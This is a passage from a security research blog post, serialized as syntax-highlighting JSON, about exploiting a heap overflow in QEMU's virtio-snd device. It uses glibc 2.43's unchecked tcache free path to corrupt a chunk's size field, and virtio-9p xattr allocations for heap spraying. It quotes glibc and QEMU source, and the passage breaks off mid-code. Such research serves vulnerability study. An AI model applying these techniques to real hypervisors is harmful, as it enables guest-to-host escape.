appear\n",{"type":23,"tag":75,"props":137243,"children":137244},{"class":77,"line":303},[137245],{"type":23,"tag":75,"props":137246,"children":137247},{"style":3621},[137248],{"type":29,"value":137249},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":75,"props":137251,"children":137252},{"class":77,"line":322},[137253,137257,137261,137266,137271,137276,137281,137285,137289,137293,137297,137301,137306,137310],{"type":23,"tag":75,"props":137254,"children":137255},{"style":175},[137256],{"type":29,"value":42589},{"type":23,"tag":75,"props":137258,"children":137259},{"style":94},[137260],{"type":29,"value":183},{"type":23,"tag":75,"props":137262,"children":137263},{"style":88},[137264],{"type":29,"value":137265},"__builtin_expect",{"type":23,"tag":75,"props":137267,"children":137268},{"style":94},[137269],{"type":29,"value":137270}," ((",{"type":23,"tag":75,"props":137272,"children":137273},{"style":82},[137274],{"type":29,"value":137275},"uintptr_t",{"type":23,"tag":75,"props":137277,"children":137278},{"style":94},[137279],{"type":29,"value":137280},") p ",{"type":23,"tag":75,"props":137282,"children":137283},{"style":209},[137284],{"type":29,"value":4652},{"type":23,"tag":75,"props":137286,"children":137287},{"style":94},[137288],{"type":29,"value":183},{"type":23,"tag":75,"props":137290,"children":137291},{"style":82},[137292],{"type":29,"value":137275},{"type":23,"tag":75,"props":137294,"children":137295},{"style":94},[137296],{"type":29,"value":167},{"type":23,"tag":75,"props":137298,"children":137299},{"style":209},[137300],{"type":29,"value":15602},{"type":23,"tag":75,"props":137302,"children":137303},{"style":94},[137304],{"type":29,"value":137305},"size, ",{"type":23,"tag":75,"props":137307,"children":137308},{"style":237},[137309],{"type":29,"value":648},{"type":23,"tag":75,"props":137311,"children":137312},{"style":94},[137313],{"type":29,"value":653},{"type":23,"tag":75,"props":137315,"children":137316},{"class":77,"line":340},[137317,137322,137327,137331,137336,137341,137345],{"type":23,"tag":75,"props":137318,"children":137319},{"style":209},[137320],{"type":29,"value":137321},"      ||",{"type":23,"tag":75,"props":137323,"children":137324},{"style":88},[137325],{"type":29,"value":137326}," __builtin_expect",{"type":23,"tag":75,"props":137328,"children":137329},{"style":94},[137330],{"type":29,"value":183},{"type":23,"tag":75,"props":137332,"children":137333},{"style":88},[137334],{"type":29,"value":137335},"misaligned_chunk",{"type":23,"tag":75,"props":137337,"children":137338},{"style":94},[137339],{"type":29,"value":137340}," (p), ",{"type":23,"tag":75,"props":137342,"children":137343},{"style":237},[137344],{"type":29,"value":648},{"type":23,"tag":75,"props":137346,"children":137347},{"style":94},[137348],{"type":29,"value":702},{"type":23,"tag":75,"props":137350,"children":137351},{"class":77,"line":349},[137352,137357,137361,137366],{"type":23,"tag":75,"props":137353,"children":137354},{"style":88},[137355],{"type":29,"value":137356},"    malloc_printerr",{"type":23,"tag":75,"props":137358,"children":137359},{"style":94},[137360],{"type":29,"value":183},{"type":23,"tag":75,"props":137362,"children":137363},{"style":1266},[137364],{"type":29,"value":137365},"\"free(): invalid pointer\"",{"type":23,"tag":75,"props":137367,"children":137368},{"style":94},[137369],{"type":29,"value":15099},{"type":23,"tag":75,"props":137371,"children":137372},{"class":77,"line":363},[137373],{"type":23,"tag":75,"props":137374,"children":137375},{"style":3621},[137376],{"type":29,"value":137377},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":75,"props":137379,"children":137380},{"class":77,"line":656},[137381],{"type":23,"tag":75,"props":137382,"children":137383},{"style":3621},[137384],{"type":29,"value":137385},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":75,"props":137387,"children":137388},{"class":77,"line":705},[137389,137393,137397,137402,137407,137411,137416,137420,137424,137429],{"type":23,"tag":75,"props":137390,"children":137391},{"style":175},[137392],{"type":29,"value":42589},{"type":23,"tag":75,"props":137394,"children":137395},{"style":94},[137396],{"type":29,"value":183},{"type":23,"tag":75,"props":137398,"children":137399},{"style":88},[137400],{"type":29,"value":137401},"__glibc_unlikely",{"type":23,"tag":75,"props":137403,"children":137404},{"style":94},[137405],{"type":29,"value":137406}," (size ",{"type":23,"tag":75,"props":137408,"children":137409},{"style":209},[137410],{"type":29,"value":295},{"type":23,"tag":75,"props":137412,"children":137413},{"style":94},[137414],{"type":29,"value":137415}," MINSIZE ",{"type":23,"tag":75,"props":137417,"children":137418},{"style":209},[137419],{"type":29,"value":33633},{"type":23,"tag":75,"props":137421,"children":137422},{"style":209},[137423],{"type":29,"value":3122},{"type":23,"tag":75,"props":137425,"children":137426},{"style":88},[137427],{"type":29,"value":137428},"aligned_OK",{"type":23,"tag":75,"props":137430,"children":137431},{"style":94},[137432],{"type":29,"value":137433}," (size)))\n",{"type":23,"tag":75,"props":137435,"children":137436},{"class":77,"line":787},[137437,137441,137445,137450],{"type":23,"tag":75,"props":137438,"children":137439},{"style":88},[137440],{"type":29,"value":137356},{"type":23,"tag":75,"props":137442,"children":137443},{"style":94},[137444],{"type":29,"value":183},{"type":23,"tag":75,"props":137446,"children":137447},{"style":1266},[137448],{"type":29,"value":137449},"\"free(): invalid size\"",{"type":23,"tag":75,"props":137451,"children":137452},{"style":94},[137453],{"type":29,"value":15099},{"type":23,"tag":75,"props":137455,"children":137456},{"class":77,"line":826},[137457],{"type":23,"tag":75,"props":137458,"children":137459},{"emptyLinePlaceholder":15},[137460],{"type":29,"value":276},{"type":23,"tag":75,"props":137462,"children":137463},{"class":77,"line":834},[137464,137469],{"type":23,"tag":75,"props":137465,"children":137466},{"style":88},[137467],{"type":29,"value":137468},"  check_inuse_chunk",{"type":23,"tag":75,"props":137470,"children":137471},{"style":94},[137472],{"type":29,"value":137473},"(av, p);\n",{"type":23,"tag":75,"props":137475,"children":137476},{"class":77,"line":881},[137477],{"type":23,"tag":75,"props":137478,"children":137479},{"emptyLinePlaceholder":15},[137480],{"type":29,"value":276},{"type":23,"tag":75,"props":137482,"children":137483},{"class":77,"line":3355},[137484],{"type":23,"tag":75,"props":137485,"children":137486},{"style":94},[137487],{"type":29,"value":137488},"  [...]\n",{"type":23,"tag":32,"props":137490,"children":137491},{},[137492],{"type":29,"value":137493},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":32,"props":137495,"children":137496},{},[137497,137499,137504,137506,137511,137513,137518,137520,137525],{"type":29,"value":137498},"The next check, however, ensures that the ",{"type":23,"tag":71,"props":137500,"children":137502},{"className":137501},[],[137503],{"type":29,"value":134595},{"type":29,"value":137505}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":71,"props":137507,"children":137509},{"className":137508},[],[137510],{"type":29,"value":134595},{"type":29,"value":137512}," must preserve alignment while also avoiding the ",{"type":23,"tag":71,"props":137514,"children":137516},{"className":137515},[],[137517],{"type":29,"value":136764},{"type":29,"value":137519}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":71,"props":137521,"children":137523},{"className":137522},[],[137524],{"type":29,"value":134595},{"type":29,"value":137526}," corruption looked very unreliable at first.",{"type":23,"tag":32,"props":137528,"children":137529},{},[137530],{"type":29,"value":137531},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":64,"props":137533,"children":137535},{"code":137534,"language":14432,"meta":7,"className":27738,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[137536],{"type":23,"tag":71,"props":137537,"children":137538},{"__ignoreMap":7},[137539,137547,137574,137581,137588,137595,137614,137621,137641,137648,137676,137700,137707,137720,137762,137769,137777,137784,137801],{"type":23,"tag":75,"props":137540,"children":137541},{"class":77,"line":78},[137542],{"type":23,"tag":75,"props":137543,"children":137544},{"style":82},[137545],{"type":29,"value":137546},"void\n",{"type":23,"tag":75,"props":137548,"children":137549},{"class":77,"line":100},[137550,137554,137558,137562,137566,137570],{"type":23,"tag":75,"props":137551,"children":137552},{"style":88},[137553],{"type":29,"value":136812},{"type":23,"tag":75,"props":137555,"children":137556},{"style":94},[137557],{"type":29,"value":183},{"type":23,"tag":75,"props":137559,"children":137560},{"style":82},[137561],{"type":29,"value":62812},{"type":23,"tag":75,"props":137563,"children":137564},{"style":209},[137565],{"type":29,"value":579},{"type":23,"tag":75,"props":137567,"children":137568},{"style":110},[137569],{"type":29,"value":51854},{"type":23,"tag":75,"props":137571,"children":137572},{"style":94},[137573],{"type":29,"value":653},{"type":23,"tag":75,"props":137575,"children":137576},{"class":77,"line":121},[137577],{"type":23,"tag":75,"props":137578,"children":137579},{"style":94},[137580],{"type":29,"value":2549},{"type":23,"tag":75,"props":137582,"children":137583},{"class":77,"line":138},[137584],{"type":23,"tag":75,"props":137585,"children":137586},{"style":94},[137587],{"type":29,"value":136855},{"type":23,"tag":75,"props":137589,"children":137590},{"class":77,"line":161},[137591],{"type":23,"tag":75,"props":137592,"children":137593},{"emptyLinePlaceholder":15},[137594],{"type":29,"value":276},{"type":23,"tag":75,"props":137596,"children":137597},{"class":77,"line":196},[137598,137602,137606,137610],{"type":23,"tag":75,"props":137599,"children":137600},{"style":94},[137601],{"type":29,"value":136870},{"type":23,"tag":75,"props":137603,"children":137604},{"style":209},[137605],{"type":29,"value":212},{"type":23,"tag":75,"props":137607,"children":137608},{"style":88},[137609],{"type":29,"value":136879},{"type":23,"tag":75,"props":137611,"children":137612},{"style":94},[137613],{"type":29,"value":136884},{"type":23,"tag":75,"props":137615,"children":137616},{"class":77,"line":220},[137617],{"type":23,"tag":75,"props":137618,"children":137619},{"emptyLinePlaceholder":15},[137620],{"type":29,"value":276},{"type":23,"tag":75,"props":137622,"children":137623},{"class":77,"line":248},[137624,137629,137633,137637],{"type":23,"tag":75,"props":137625,"children":137626},{"style":94},[137627],{"type":29,"value":137628},"  INTERNAL_SIZE_T size ",{"type":23,"tag":75,"props":137630,"children":137631},{"style":209},[137632],{"type":29,"value":212},{"type":23,"tag":75,"props":137634,"children":137635},{"style":88},[137636],{"type":29,"value":137206},{"type":23,"tag":75,"props":137638,"children":137639},{"style":94},[137640],{"type":29,"value":136925},{"type":23,"tag":75,"props":137642,"children":137643},{"class":77,"line":270},[137644],{"type":23,"tag":75,"props":137645,"children":137646},{"emptyLinePlaceholder":15},[137647],{"type":29,"value":276},{"type":23,"tag":75,"props":137649,"children":137650},{"class":77,"line":279},[137651,137655,137659,137663,137667,137671],{"type":23,"tag":75,"props":137652,"children":137653},{"style":175},[137654],{"type":29,"value":42589},{"type":23,"tag":75,"props":137656,"children":137657},{"style":94},[137658],{"type":29,"value":183},{"type":23,"tag":75,"props":137660,"children":137661},{"style":88},[137662],{"type":29,"value":137401},{"type":23,"tag":75,"props":137664,"children":137665},{"style":94},[137666],{"type":29,"value":183},{"type":23,"tag":75,"props":137668,"children":137669},{"style":88},[137670],{"type":29,"value":137335},{"type":23,"tag":75,"props":137672,"children":137673},{"style":94},[137674],{"type":29,"value":137675}," (p)))\n",{"type":23,"tag":75,"props":137677,"children":137678},{"class":77,"line":303},[137679,137683,137688,137692,137696],{"type":23,"tag":75,"props":137680,"children":137681},{"style":175},[137682],{"type":29,"value":355},{"type":23,"tag":75,"props":137684,"children":137685},{"style":88},[137686],{"type":29,"value":137687}," malloc_printerr_tail",{"type":23,"tag":75,"props":137689,"children":137690},{"style":94},[137691],{"type":29,"value":183},{"type":23,"tag":75,"props":137693,"children":137694},{"style":1266},[137695],{"type":29,"value":137365},{"type":23,"tag":75,"props":137697,"children":137698},{"style":94},[137699],{"type":29,"value":15099},{"type":23,"tag":75,"props":137701,"children":137702},{"class":77,"line":322},[137703],{"type":23,"tag":75,"props":137704,"children":137705},{"emptyLinePlaceholder":15},[137706],{"type":29,"value":276},{"type":23,"tag":75,"props":137708,"children":137709},{"class":77,"line":340},[137710,137715],{"type":23,"tag":75,"props":137711,"children":137712},{"style":175},[137713],{"type":29,"value":137714},"#if",{"type":23,"tag":75,"props":137716,"children":137717},{"style":88},[137718],{"type":29,"value":137719}," USE_TCACHE\n",{"type":23,"tag":75,"props":137721,"children":137722},{"class":77,"line":349},[137723,137727,137731,137736,137740,137744,137749,137753,137758],{"type":23,"tag":75,"props":137724,"children":137725},{"style":175},[137726],{"type":29,"value":42589},{"type":23,"tag":75,"props":137728,"children":137729},{"style":94},[137730],{"type":29,"value":183},{"type":23,"tag":75,"props":137732,"children":137733},{"style":88},[137734],{"type":29,"value":137735},"__glibc_likely",{"type":23,"tag":75,"props":137737,"children":137738},{"style":94},[137739],{"type":29,"value":137406},{"type":23,"tag":75,"props":137741,"children":137742},{"style":209},[137743],{"type":29,"value":295},{"type":23,"tag":75,"props":137745,"children":137746},{"style":110},[137747],{"type":29,"value":137748}," mp_",{"type":23,"tag":75,"props":137750,"children":137751},{"style":94},[137752],{"type":29,"value":557},{"type":23,"tag":75,"props":137754,"children":137755},{"style":110},[137756],{"type":29,"value":137757},"tcache_max_bytes",{"type":23,"tag":75,"props":137759,"children":137760},{"style":94},[137761],{"type":29,"value":702},{"type":23,"tag":75,"props":137763,"children":137764},{"class":77,"line":363},[137765],{"type":23,"tag":75,"props":137766,"children":137767},{"style":94},[137768],{"type":29,"value":40383},{"type":23,"tag":75,"props":137770,"children":137771},{"class":77,"line":656},[137772],{"type":23,"tag":75,"props":137773,"children":137774},{"style":94},[137775],{"type":29,"value":137776},"      [...]\n",{"type":23,"tag":75,"props":137778,"children":137779},{"class":77,"line":705},[137780],{"type":23,"tag":75,"props":137781,"children":137782},{"emptyLinePlaceholder":15},[137783],{"type":29,"value":276},{"type":23,"tag":75,"props":137785,"children":137786},{"class":77,"line":787},[137787,137791,137796],{"type":23,"tag":75,"props":137788,"children":137789},{"style":175},[137790],{"type":29,"value":50546},{"type":23,"tag":75,"props":137792,"children":137793},{"style":88},[137794],{"type":29,"value":137795}," tcache_put",{"type":23,"tag":75,"props":137797,"children":137798},{"style":94},[137799],{"type":29,"value":137800}," (p, tc_idx);\n",{"type":23,"tag":75,"props":137802,"children":137803},{"class":77,"line":826},[137804],{"type":23,"tag":75,"props":137805,"children":137806},{"style":94},[137807],{"type":29,"value":346},{"type":23,"tag":32,"props":137809,"children":137810},{},[137811,137813,137818],{"type":29,"value":137812},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":71,"props":137814,"children":137816},{"className":137815},[],[137817],{"type":29,"value":134595},{"type":29,"value":137819}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":32,"props":137821,"children":137822},{},[137823,137825,137831,137832,137837],{"type":29,"value":137824},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":71,"props":137826,"children":137828},{"className":137827},[],[137829],{"type":29,"value":137830},"check_inuse_chunk",{"type":29,"value":183},{"type":23,"tag":71,"props":137833,"children":137835},{"className":137834},[],[137836],{"type":29,"value":134723},{"type":29,"value":35151},{"type":23,"tag":64,"props":137839,"children":137841},{"code":137840,"language":14432,"meta":7,"className":27738,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[137842],{"type":23,"tag":71,"props":137843,"children":137844},{"__ignoreMap":7},[137845,137852,137879,137886,137893,137900,137919,137926,137945,137952,137979,138002,138009,138035,138042,138053,138110],{"type":23,"tag":75,"props":137846,"children":137847},{"class":77,"line":78},[137848],{"type":23,"tag":75,"props":137849,"children":137850},{"style":82},[137851],{"type":29,"value":137546},{"type":23,"tag":75,"props":137853,"children":137854},{"class":77,"line":100},[137855,137859,137863,137867,137871,137875],{"type":23,"tag":75,"props":137856,"children":137857},{"style":88},[137858],{"type":29,"value":136812},{"type":23,"tag":75,"props":137860,"children":137861},{"style":94},[137862],{"type":29,"value":183},{"type":23,"tag":75,"props":137864,"children":137865},{"style":82},[137866],{"type":29,"value":62812},{"type":23,"tag":75,"props":137868,"children":137869},{"style":209},[137870],{"type":29,"value":579},{"type":23,"tag":75,"props":137872,"children":137873},{"style":110},[137874],{"type":29,"value":51854},{"type":23,"tag":75,"props":137876,"children":137877},{"style":94},[137878],{"type":29,"value":653},{"type":23,"tag":75,"props":137880,"children":137881},{"class":77,"line":121},[137882],{"type":23,"tag":75,"props":137883,"children":137884},{"style":94},[137885],{"type":29,"value":2549},{"type":23,"tag":75,"props":137887,"children":137888},{"class":77,"line":138},[137889],{"type":23,"tag":75,"props":137890,"children":137891},{"style":94},[137892],{"type":29,"value":136855},{"type":23,"tag":75,"props":137894,"children":137895},{"class":77,"line":161},[137896],{"type":23,"tag":75,"props":137897,"children":137898},{"emptyLinePlaceholder":15},[137899],{"type":29,"value":276},{"type":23,"tag":75,"props":137901,"children":137902},{"class":77,"line":196},[137903,137907,137911,137915],{"type":23,"tag":75,"props":137904,"children":137905},{"style":94},[137906],{"type":29,"value":136870},{"type":23,"tag":75,"props":137908,"children":137909},{"style":209},[137910],{"type":29,"value":212},{"type":23,"tag":75,"props":137912,"children":137913},{"style":88},[137914],{"type":29,"value":136879},{"type":23,"tag":75,"props":137916,"children":137917},{"style":94},[137918],{"type":29,"value":136884},{"type":23,"tag":75,"props":137920,"children":137921},{"class":77,"line":220},[137922],{"type":23,"tag":75,"props":137923,"children":137924},{"emptyLinePlaceholder":15},[137925],{"type":29,"value":276},{"type":23,"tag":75,"props":137927,"children":137928},{"class":77,"line":248},[137929,137933,137937,137941],{"type":23,"tag":75,"props":137930,"children":137931},{"style":94},[137932],{"type":29,"value":137628},{"type":23,"tag":75,"props":137934,"children":137935},{"style":209},[137936],{"type":29,"value":212},{"type":23,"tag":75,"props":137938,"children":137939},{"style":88},[137940],{"type":29,"value":137206},{"type":23,"tag":75,"props":137942,"children":137943},{"style":94},[137944],{"type":29,"value":136925},{"type":23,"tag":75,"props":137946,"children":137947},{"class":77,"line":270},[137948],{"type":23,"tag":75,"props":137949,"children":137950},{"emptyLinePlaceholder":15},[137951],{"type":29,"value":276},{"type":23,"tag":75,"props":137953,"children":137954},{"class":77,"line":279},[137955,137959,137963,137967,137971,137975],{"type":23,"tag":75,"props":137956,"children":137957},{"style":175},[137958],{"type":29,"value":42589},{"type":23,"tag":75,"props":137960,"children":137961},{"style":94},[137962],{"type":29,"value":183},{"type":23,"tag":75,"props":137964,"children":137965},{"style":88},[137966],{"type":29,"value":137401},{"type":23,"tag":75,"props":137968,"children":137969},{"style":94},[137970],{"type":29,"value":183},{"type":23,"tag":75,"props":137972,"children":137973},{"style":88},[137974],{"type":29,"value":137335},{"type":23,"tag":75,"props":137976,"children":137977},{"style":94},[137978],{"type":29,"value":137675},{"type":23,"tag":75,"props":137980,"children":137981},{"class":77,"line":303},[137982,137986,137990,137994,137998],{"type":23,"tag":75,"props":137983,"children":137984},{"style":175},[137985],{"type":29,"value":355},{"type":23,"tag":75,"props":137987,"children":137988},{"style":88},[137989],{"type":29,"value":137687},{"type":23,"tag":75,"props":137991,"children":137992},{"style":94},[137993],{"type":29,"value":183},{"type":23,"tag":75,"props":137995,"children":137996},{"style":1266},[137997],{"type":29,"value":137365},{"type":23,"tag":75,"props":137999,"children":138000},{"style":94},[138001],{"type":29,"value":15099},{"type":23,"tag":75,"props":138003,"children":138004},{"class":77,"line":322},[138005],{"type":23,"tag":75,"props":138006,"children":138007},{"emptyLinePlaceholder":15},[138008],{"type":29,"value":276},{"type":23,"tag":75,"props":138010,"children":138011},{"class":77,"line":340},[138012,138016,138020,138025,138030],{"type":23,"tag":75,"props":138013,"children":138014},{"style":88},[138015],{"type":29,"value":137468},{"type":23,"tag":75,"props":138017,"children":138018},{"style":94},[138019],{"type":29,"value":183},{"type":23,"tag":75,"props":138021,"children":138022},{"style":88},[138023],{"type":29,"value":138024},"arena_for_chunk",{"type":23,"tag":75,"props":138026,"children":138027},{"style":94},[138028],{"type":29,"value":138029}," (p), p);",{"type":23,"tag":75,"props":138031,"children":138032},{"style":3621},[138033],{"type":29,"value":138034},"             // [1]\n",{"type":23,"tag":75,"props":138036,"children":138037},{"class":77,"line":349},[138038],{"type":23,"tag":75,"props":138039,"children":138040},{"emptyLinePlaceholder":15},[138041],{"type":29,"value":276},{"type":23,"tag":75,"props":138043,"children":138044},{"class":77,"line":363},[138045,138049],{"type":23,"tag":75,"props":138046,"children":138047},{"style":175},[138048],{"type":29,"value":137714},{"type":23,"tag":75,"props":138050,"children":138051},{"style":88},[138052],{"type":29,"value":137719},{"type":23,"tag":75,"props":138054,"children":138055},{"class":77,"line":656},[138056,138060,138064,138068,138072,138076,138080,138084,138088,138092,138097,138101,138106],{"type":23,"tag":75,"props":138057,"children":138058},{"style":175},[138059],{"type":29,"value":42589},{"type":23,"tag":75,"props":138061,"children":138062},{"style":94},[138063],{"type":29,"value":183},{"type":23,"tag":75,"props":138065,"children":138066},{"style":88},[138067],{"type":29,"value":137735},{"type":23,"tag":75,"props":138069,"children":138070},{"style":94},[138071],{"type":29,"value":137406},{"type":23,"tag":75,"props":138073,"children":138074},{"style":209},[138075],{"type":29,"value":295},{"type":23,"tag":75,"props":138077,"children":138078},{"style":110},[138079],{"type":29,"value":137748},{"type":23,"tag":75,"props":138081,"children":138082},{"style":94},[138083],{"type":29,"value":557},{"type":23,"tag":75,"props":138085,"children":138086},{"style":110},[138087],{"type":29,"value":137757},{"type":23,"tag":75,"props":138089,"children":138090},{"style":209},[138091],{"type":29,"value":7889},{"type":23,"tag":75,"props":138093,"children":138094},{"style":94},[138095],{"type":29,"value":138096}," tcache ",{"type":23,"tag":75,"props":138098,"children":138099},{"style":209},[138100],{"type":29,"value":26916},{"type":23,"tag":75,"props":138102,"children":138103},{"style":82},[138104],{"type":29,"value":138105}," NULL",{"type":23,"tag":75,"props":138107,"children":138108},{"style":94},[138109],{"type":29,"value":702},{"type":23,"tag":75,"props":138111,"children":138112},{"class":77,"line":705},[138113],{"type":23,"tag":75,"props":138114,"children":138115},{"style":94},[138116],{"type":29,"value":137488},{"type":23,"tag":32,"props":138118,"children":138119},{},[138120,138122,138127],{"type":29,"value":138121},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":71,"props":138123,"children":138125},{"className":138124},[],[138126],{"type":29,"value":134595},{"type":29,"value":138128},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":30016,"props":138130,"children":138131},{},[],{"type":23,"tag":32,"props":138133,"children":138134},{},[138135,138137,138142,138144,138150,138152,138157,138159,138165],{"type":29,"value":138136},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":71,"props":138138,"children":138140},{"className":138139},[],[138141],{"type":29,"value":134595},{"type":29,"value":138143}," field was initially ",{"type":23,"tag":71,"props":138145,"children":138147},{"className":138146},[],[138148],{"type":29,"value":138149},"0x200",{"type":29,"value":138151},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":71,"props":138153,"children":138155},{"className":138154},[],[138156],{"type":29,"value":136772},{"type":29,"value":138158},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":71,"props":138160,"children":138162},{"className":138161},[],[138163],{"type":29,"value":138164},"[0x210, 0x2f0]",{"type":29,"value":138166},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":32,"props":138168,"children":138169},{},[138170],{"type":29,"value":138171},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":923,"props":138173,"children":138175},{"id":138174},"heap-spraying",[138176],{"type":29,"value":138177},"Heap Spraying",{"type":23,"tag":32,"props":138179,"children":138180},{},[138181,138183,138188],{"type":29,"value":138182},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":71,"props":138184,"children":138186},{"className":138185},[],[138187],{"type":29,"value":138149},{"type":29,"value":138189},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":32,"props":138191,"children":138192},{},[138193,138195,138200],{"type":29,"value":138194},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":71,"props":138196,"children":138198},{"className":138197},[],[138199],{"type":29,"value":134790},{"type":29,"value":138201}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":32,"props":138203,"children":138204},{},[138205],{"type":29,"value":138206},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":30116,"props":138208,"children":138210},{"id":138209},"virtio-9p",[138211],{"type":29,"value":138209},{"type":23,"tag":32,"props":138213,"children":138214},{},[138215,138220],{"type":23,"tag":71,"props":138216,"children":138218},{"className":138217},[],[138219],{"type":29,"value":138209},{"type":29,"value":138221}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":32,"props":138223,"children":138224},{},[138225,138227,138233,138235,138241,138242,138248,138250,138255],{"type":29,"value":138226},"Through a ",{"type":23,"tag":71,"props":138228,"children":138230},{"className":138229},[],[138231],{"type":29,"value":138232},"P9_TXATTRCREATE",{"type":29,"value":138234}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":71,"props":138236,"children":138238},{"className":138237},[],[138239],{"type":29,"value":138240},".name",{"type":29,"value":2721},{"type":23,"tag":71,"props":138243,"children":138245},{"className":138244},[],[138246],{"type":29,"value":138247},".value",{"type":29,"value":138249}," fields, with the size of ",{"type":23,"tag":71,"props":138251,"children":138253},{"className":138252},[],[138254],{"type":29,"value":138247},{"type":29,"value":138256}," being directly controlled by the guest.",{"type":23,"tag":64,"props":138258,"children":138260},{"code":138259,"language":14432,"meta":7,"className":27738,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[138261],{"type":23,"tag":71,"props":138262,"children":138263},{"__ignoreMap":7},[138264,138306,138313,138337,138350,138361,138386,138394,138419,138436,138452,138478,138485,138506,138572,138596,138609,138616,138623,138630,138637,138657,138678,138689,138696,138703,138710,138717,138766,138822,138867],{"type":23,"tag":75,"props":138265,"children":138266},{"class":77,"line":78},[138267,138271,138275,138280,138285,138289,138293,138297,138302],{"type":23,"tag":75,"props":138268,"children":138269},{"style":82},[138270],{"type":29,"value":62229},{"type":23,"tag":75,"props":138272,"children":138273},{"style":82},[138274],{"type":29,"value":62234},{"type":23,"tag":75,"props":138276,"children":138277},{"style":94},[138278],{"type":29,"value":138279}," coroutine_fn ",{"type":23,"tag":75,"props":138281,"children":138282},{"style":88},[138283],{"type":29,"value":138284},"v9fs_xattrcreate",{"type":23,"tag":75,"props":138286,"children":138287},{"style":94},[138288],{"type":29,"value":643},{"type":23,"tag":75,"props":138290,"children":138291},{"style":82},[138292],{"type":29,"value":62812},{"type":23,"tag":75,"props":138294,"children":138295},{"style":209},[138296],{"type":29,"value":579},{"type":23,"tag":75,"props":138298,"children":138299},{"style":110},[138300],{"type":29,"value":138301},"opaque",{"type":23,"tag":75,"props":138303,"children":138304},{"style":94},[138305],{"type":29,"value":653},{"type":23,"tag":75,"props":138307,"children":138308},{"class":77,"line":100},[138309],{"type":23,"tag":75,"props":138310,"children":138311},{"style":94},[138312],{"type":29,"value":2549},{"type":23,"tag":75,"props":138314,"children":138315},{"class":77,"line":121},[138316,138320,138325,138329,138333],{"type":23,"tag":75,"props":138317,"children":138318},{"style":82},[138319],{"type":29,"value":30300},{"type":23,"tag":75,"props":138321,"children":138322},{"style":94},[138323],{"type":29,"value":138324}," flags, rflags ",{"type":23,"tag":75,"props":138326,"children":138327},{"style":209},[138328],{"type":29,"value":212},{"type":23,"tag":75,"props":138330,"children":138331},{"style":237},[138332],{"type":29,"value":240},{"type":23,"tag":75,"props":138334,"children":138335},{"style":94},[138336],{"type":29,"value":245},{"type":23,"tag":75,"props":138338,"children":138339},{"class":77,"line":138},[138340,138345],{"type":23,"tag":75,"props":138341,"children":138342},{"style":82},[138343],{"type":29,"value":138344},"    int32_t",{"type":23,"tag":75,"props":138346,"children":138347},{"style":94},[138348],{"type":29,"value":138349}," 